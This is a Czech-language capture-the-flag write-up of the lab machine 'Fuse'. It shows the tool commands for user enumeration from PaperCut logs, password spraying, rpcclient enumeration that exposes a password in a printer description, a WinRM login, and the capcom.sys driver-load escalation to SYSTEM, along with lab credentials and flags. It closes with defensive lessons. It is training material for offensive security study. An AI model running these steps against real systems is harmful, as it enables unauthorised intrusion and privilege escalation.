Fuse
Úvod a kontext
Fuse je Windows/AD stroj, kde se foothold neskládá z jedné zásadní chyby, ale z několika drobných informačních úniků. Veřejně dostupné logy PaperCutu prozradí seznam uživatelů, naming convention firmy pomůže odhadnout heslo a RPC/SMB enumerace potom dovede útok až k servisním účtům.
Právě to z něj dělá dobrý vzdělávací příklad. Web zde nevede k přímému RCE, ale k datům. Až spojení webového úniku, změny hesla u běžného účtu a popisku tiskárny odhalí přihlašovací údaje svc-print, ze kterých vznikne WinRM shell. Root část pak stojí na lokální možnosti nahrát zranitelný driver capcom.sys.
Počáteční průzkum
AD služby a veřejný PaperCut
První nmap ukáže doménový kontroler fabricorp.local a zároveň IIS na portu 80. To je důležité, protože útok může začít stejně dobře z LDAP/RPC jako z webu.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Na webu nic útočného na první pohled není, ale PaperCut logy na /papercut/logs/html/index.htm obsahují jména zaměstnanců. To je přesně ten typ dat, který sám o sobě nevypadá nebezpečně, ale skvěle se hodí pro password spraying a další doménovou enumeraci.
http://fuse.fabricorp.local/papercut/logs/html/index.htm
administrator
pmerton
tlavel
sthompson
bhult
Odhad prvního hesla
Ze stejného webu lze pomocí cewl vygenerovat slovník a zkusit firemní naming convention. Tady funguje jednoduchá kombinace jména firmy a číselné přípony, takže se podaří trefit první platné účty tlavel a bhult.
cewl -d 5 -m 3 -w Fuse-wordlist.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
msfconsole > use auxiliary/scanner/smb/smb_login
=> tlavel:Fabricorp01
=> bhult:Fabricorp01
Analýza zjištění
Co otevře účet tlavel
Platný doménový účet ještě neznamená shell, ale výrazně rozšíří možnosti enumerace. Přes smbpasswd lze u tlavel změnit heslo a s novým pověřením pak RPC vrací úplný seznam doménových uživatelů i další metadata o servisních účtech.
./impacket/examples/smbclient.py fabricorp.local/tlavel:Fabricorp01@$IP
smbpasswd -r fuse.fabricorp.local -U fabricorp.local/tlavel
rpcclient -U FABRICORP\\tlavel -c enumdomusers $IP
Se změněným heslem pak funguje i samrdump, takže je možné potvrdit existenci servisních účtů svc-print a svc-scan i jejich charakter v doméně.
Tohle je klíčový mezikrok: z běžného zaměstnaneckého účtu se útok přesouvá k technickým identitám jako svc-print a svc-scan, které už bývají zajímavější z pohledu laterálního pohybu i WinRM.
Únik hesla v popisku tiskárny
Rozhodující stopa leží v enumprinters. Popisek jedné tiskárny obsahuje text scan2docs password: $fab@s3Rv1ce$1, což je přesně ten typ operativní poznámky, který ve firmě vznikl kvůli pohodlí a útočníkovi otevře celou další větev.
rpcclient -U FABRICORP\\tlavel -c enumprinters $IP
=> description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
msfconsole > use auxiliary/scanner/smb/smb_login
=> Success: '.\\svc-print:$fab@s3Rv1ce$1'
=> Success: '.\\svc-scan:$fab@s3Rv1ce$1'
Získání přístupu
WinRM jako svc-print
Jakmile se ukáže, že servisní heslo funguje i na účtu svc-print, je WinRM nejlepší další krok. Dává stabilní shell a eliminuje potřebu držet se SMB nebo RPC.
./evil-winrm/evil-winrm.rb -i fuse.fabricorp.local -u svc-print -p '$fab@s3Rv1ce$1'
cat user.txt
d86f8804323aaa687b7f385f57bcea41
Eskalace oprávnění
Načtení capcom.sys
Lokální eskalace už není o Active Directory, ale o právech účtu v samotném systému. svc-print dovolí nahrát zranitelný driver capcom.sys, což otevře klasickou kernelovou eskalaci na SYSTEM. V praxi stačí nahrát driver, zaregistrovat službu přes EOPLOADDRIVER.exe a pak spustit exploit, který driver zneužije.
c:\temp\nc.exe
c:\temp\netcat.bat
c:\temp\capcom.sys
.\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\capcom.sys
.\ExploitCapcom_modded.exe
type root.txt
a3f0932606ade10089d078d703d9db23
Shrnutí klíčových poznatků
- Fuse stojí na skládání drobných úniků: veřejné PaperCut logy, odhadnuté heslo, RPC enumerace a nakonec špatně zvolený popisek tiskárny.
- Foothold nevznikl přes zranitelnost v IIS, ale přes reuse servisního hesla
svc-printasvc-scan. - Root část ukazuje, že servisní účet ve Windows nemusí být bezpečný jen proto, že není administrátor. Pokud umí načíst driver, je to v praxi téměř totéž.
Co si odnést do praxe
- Provozní logy publikované na webu nesmějí obsahovat interní jména uživatelů a organizační kontext. Na Fuse právě tohle výrazně zlevnilo celý útok.
- Popisky tiskáren, skriptů a helpdesk objektů nesmějí nést hesla ani „dočasné“ poznámky pro kolegy. Z pohledu útočníka je to stejný únik tajemství jako plaintext v konfiguračním souboru.
- Servisní účty ve Windows je potřeba auditovat i na lokální privilegia typu nahrání driveru. Jakmile takový účet zároveň dovolí vzdálený shell přes WinRM, je cesta k SYSTEM velmi krátká.